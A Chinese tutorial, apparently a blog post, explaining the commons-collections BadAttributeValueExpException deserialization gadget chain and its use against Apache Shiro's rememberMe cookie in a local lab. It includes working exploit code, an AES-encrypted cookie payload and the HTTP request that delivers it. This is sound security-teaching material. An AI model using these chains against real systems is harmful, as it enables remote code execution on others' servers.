声明
本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。
新的希望
0x00
在上一节中我们介绍了 Java 反序列化漏洞的成因和利用 commons-collections 3.1
搭配 sun.reflect.annotation.AnnotationInvocationHandler
实现远程命令执行的方式。但sun.reflect.annotation.AnnotationInvocationHandler
的问题已经在最新版 jdk 中修复,可利用范围仅能够局限于旧版本的jdk。经过安全人员的审计,另一个类 javax.management.BadAttributeValueExpException
出现在了安全人员的视野。
javax.management.BadAttributeValueExpException
继承自 java.lang.Exception
,java.lang.Exception
继承自 java.lang.Throwable
,而 java.lang.Throwable
实现了 java.io.Serializable
。因此 javax.management.BadAttributeValueExpException
符合了 可序列化 这个要求,同样的它也增加了 readObject
方法,这个类的完整代码如下:
package javax.management;
import java.io.IOException;
import java.io.ObjectInputStream;
/**
* Thrown when an invalid MBean attribute is passed to a query
* constructing method. This exception is used internally by JMX
* during the evaluation of a query. User code does not usually
* see it.
*
* @since 1.5
*/
public class BadAttributeValueExpException extends Exception {
/* Serial version */
private static final long serialVersionUID = -3105272988410493376L;
/**
* @serial A string representation of the attribute that originated this exception.
* for example, the string value can be the return of {@code attribute.toString()}
*/
private Object val;
/**
* Constructs a BadAttributeValueExpException using the specified Object to
* create the toString() value.
*
* @param val the inappropriate value.
*/
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
小伙伴们可能会很迷茫,这要何从下手?
别着急,我来一点点的分析。
首先我们来看这个方法的第一行代码 ObjectInputStream.GetField gf = ois.readFields();
,它的意思是从已经序列化成字节数组的信息中获取 序列化前的类 的全部成员变量。
第二行代码 Object valObj = gf.get("val", null);
的意思是获取名词为 val
的成员变量,如果获取不到就返回 null
。
接下来前两个的 if
判断很简单,就不解释了。
第三个 if
判断中只要 System.getSecurityManager()
是空值或者 valObj
是基本数据包装类型就调用 toString()
方法转换为字符串。
问题就出在这个 toString()
上。
0x01
安全人员在审查 commons-collections 3.1
的源码时发现 org.apache.commons.collections.keyvalue.TiedMapEntry
的 toString()
方法如下:
public String toString() {
return getKey() + "=" + getValue();
}
getKey()
和 getValue()
代码如下:
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
/** Serialization version */
private static final long serialVersionUID = -8453869361373831205L;
/** The map underlying the entry/iterator */
private final Map map;
/** The key */
private final Object key;
/**
* Constructs a new entry with the given Map and key.
*
* @param map the map
* @param key the key
*/
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
// Map.Entry interface
//-------------------------------------------------------------------------
/**
* Gets the key of this entry
*
* @return the key
*/
public Object getKey() {
return key;
}
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}
代码省略...
}
getKey()
直接返回了字符串,不用考虑了。
getValue()
是从构造方法传入的 map
中根据 传入的key
获取值。那么有没有一个 Map
的 get
方法可以调用 org.apache.commons.collections.Transformer
的 transform
方法呢?答案是有的,而且它还是 commons-collections 3.1
中的一个类。
0x02
org.apache.commons.collections.map.LazyMap
顾名思义是一个懒加载的 Map
,它继承自 AbstractMapDecorator
,并且实现了 Map
和 Serializable
接口。 它的构造方法有两个参数,一个是 java.util.Map
,一个是org.apache.commons.collections.Transformer
。它重写了Map
的 get
方法,先判断构造方法传入的 map
中是否包含 key
,不包含时会调用 transformer
的 transform
的方法进行转换,并进行后续的赋值和返回,代码如下:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
绝地归来
经过上述步骤的分析,我们得到了一个调用链。
,--------------------. ,------------.
|LazyMap | |TiedMapEntry|
,-----------------------. |--------------------| |------------|
|Transformer | |Map map; | |Map map; |
|-----------------------|--|Transformer factory;|---|String key; |
|transform(Object input)| | | | |
`-----------------------' |get(String key); | |toString(); |
`--------------------' `------------'
|
|
,----------------------------------.
|BadAttributeValueExpException |
|----------------------------------|
|TiedMapEntry val; |
|readObject(ObjectInputStream ois);|
`----------------------------------'
下面我们来实际测试一下。
为简化代码,我们把序列化和反序列化代码做成工具类使用。
import java.io.*;
/**
* 序列化工具
*/
public class Serializer {
/**
* 将对象序列化为字节数组
* @param obj 对象
* @return 字节数组
* @throws IOException IO异常
*/
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
try (ObjectOutputStream objOut = new ObjectOutputStream(out)) {
objOut.writeObject(obj);
objOut.flush();
}
return out.toByteArray();
}
/**
* 将字节数组反序列化对象
* @param bytes 字节数组
* @return 对象
* @throws IOException IO异常
* @throws ClassNotFoundException 类找不到异常
*/
public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
try (ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return input.readObject();
}
}
}
修改之前的测试代码。
import cn.typesafe.jsv.util.Serializer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp4 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = ChainedTransformer.getInstance(transformers);
// 在调用 get 方法时传入一个不存在的 key 时会调用 Transformer 的 transform 方法
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 在调用 toString 方法时会自动调用 getValue 方法并使用 构造方法传入的 key 当作 key
TiedMapEntry entry = new TiedMapEntry(lazyMap, "守法市民小杜");
// 创建BadAttributeValueExpException对象,类型是 public 的,无需使用反射创建
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
// 成员 val 没有setVal 方法,只能通过反射修改
Field valField = obj.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(obj, entry);
/*-----------------------以下是序列化和反序列化测试----------------------------*/
// 将用户序列化为字节数组,将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
final String data = Base64.getEncoder().encodeToString(Serializer.serialize(obj));
System.out.println("序列化后:" + data);
// 将base64编码的数据再解码为字节数组
final Object o = Serializer.deserialize(Base64.getDecoder().decode(data.getBytes(StandardCharsets.UTF_8)));
System.out.println("反序列化:"+o);
}
}
在最新版 jdk 1.8.0_301
上测试通过,弹出了计算器。
西斯的复仇
0x00
有杠精附体的朋友说我上节写的那个接口在现实环境中基本上不会有,那我们今天来介绍一个使用广泛的框架 shiro
。
shiro
的 RememberMe 功能就是利用了 Java 的反序列化来实现的,不过它并不是直接将对象序列化成数组后简单使用 base64 编码就写入到 Cookie 中,而是将对象字节数组进行了一次 AES 加密,最后才 base64 编码写入到 Cookie 中。
以最新版 shiro 1.8.0
为例, org.apache.shiro.mgt.AbstractRememberMeManager
的 onSuccessfulLogin
方法中,当打开 RememberMe 后会调用 rememberIdentity
方法
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);
//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}
rememberIdentity
方法如下:
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
// 生成身份认证信息
PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
// 实现记住登录
rememberIdentity(subject, principals);
}
rememberIdentity
方法如下:
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
// 将身份认证信息序列化为字节数组
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
// 将字节数组写入到Cookie中
rememberSerializedIdentity(subject, bytes);
}
convertPrincipalsToBytes
方法如下:
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
// 将身份认证信息序列化为字节数组,最终会调用 DefaultSerializer 的 serialize 方法
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
// 如果加密服务存在则进行一次AES加密,在加密时会使用当前设置的密钥
bytes = encrypt(bytes);
}
return bytes;
}
rememberSerializedIdentity
方法如下:
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);
Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
最终会将身份认证信息写入到 Cookie 中。
反序列化的过程类似,不过是把这个流程反过来。因此我们可以得出一个结论。
只要目标系统中同时有使用 shiro 和 commons-collections 3.1,并且在得知了AES密钥,即可触发远程命令执行漏洞。
0x01 搭建测试环境
我们使用 springboot
搭建一个测试环境。
使用 maven
创建好一个包含 web
的 springboot
项目后,在 pom.xml
增加两个依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring-boot-web-starter</artifactId>
<version>1.8.0</version>
</dependency>
然后增加两个类配置 shiro
。
import org.apache.shiro.realm.Realm;
import org.apache.shiro.realm.text.TextConfigurationRealm;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class ShiroRealmConfig {
@Bean
public Realm realm() {
TextConfigurationRealm realm = new TextConfigurationRealm();
// 配置账户信息
realm.setUserDefinitions("user=password,user\n" + "admin=password,admin");
realm.setRoleDefinitions("admin=read,write\n" + "user=read");
realm.setCachingEnabled(true);
return realm;
}
}
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Configuration;
import javax.annotation.PostConstruct;
import javax.annotation.Resource;
import java.util.Base64;
@Configuration
public class ShiroSecurityConfig {
@Resource
private SecurityManager securityManager;
@PostConstruct
public void init() {
// 配置记住登录管理器,并且设置 AES 加密的 key
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
cookieRememberMeManager.setCipherKey(Base64.getDecoder().decode("zSyK5Kp6PZAAjlT+eeNMlg=="));
((DefaultWebSecurityManager) securityManager).setRememberMeManager(cookieRememberMeManager);
}
}
最后启动项目。
0x02 生成 payload
import cn.typesafe.jsv.util.Serializer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = ChainedTransformer.getInstance(transformers);
// 在调用 get 方法时传入一个不存在的 key 时会调用 Transformer 的 transform 方法
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 在调用 toString 方法时会自动调用 getValue 方法并使用 构造方法传入的 key 当作 key
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
// 创建BadAttributeValueExpException对象,类型是 public 的,无需使用反射创建
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
// 成员 val 没有setVal 方法,只能通过反射修改
Field valField = obj.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(obj, entry);
/*-----------------------以下是序列化和反序列化测试----------------------------*/
final byte[] bytes = Serializer.serialize(obj);
byte[] key = Base64.getDecoder().decode("zSyK5Kp6PZAAjlT+eeNMlg==");
// 创建一个 shiro 的 AES 加密服务类
AesCipherService aesCipherService = new AesCipherService();
// 使用 AES 加密序列化后的字节数组
ByteSource encrypt = aesCipherService.encrypt(bytes, key);
// 将加密后的字节数组转换使用 Base64 编码后输出
String encoder = Base64.getEncoder().encodeToString(encrypt.getBytes());
System.out.println("序列化后+AES加密+base64 encode:" + encoder);
/*// 使用Base64 解码字符串为字节数组, 并使用AES 解密字节数组
ByteSource decrypt = aesCipherService.decrypt(Base64.getDecoder().decode(encoder), key);
// 反序列化为对象
final Object o = Serializer.deserialize(decrypt.getBytes());
System.out.println("反序列化+AES解密+base64 decode:" + o);*/
}
}
运行后输出:
序列化后+AES加密+base64 encode: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
冒号后面的就是我们需要的 payload。
0x03 一发入魂
我这里还是使用 IDEA
自带的工具进行测试。
新建一个 poc.http
文件写入一下内容
GET http://localhost:8080/
Cookie: JSESSIONID=x; rememberMe=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
点击发送请求,便可以看到本地计算机打开了计算器程序。
注
文中测试使用系统和工具版本如下:
- 操作系统 windows 10 20H2
- jdk java 1.8.0_301
- springboot 2.5.5
- commons-collections 3.1
- shiro 1.8.0
- 代码仓库 https://github.com/dushixiang/java-serialization-vulnerability
其他
经过测试 commons-collections 3.2.1
版本同样可以复现上述问题,commons-collections 3.2.2
不可复现。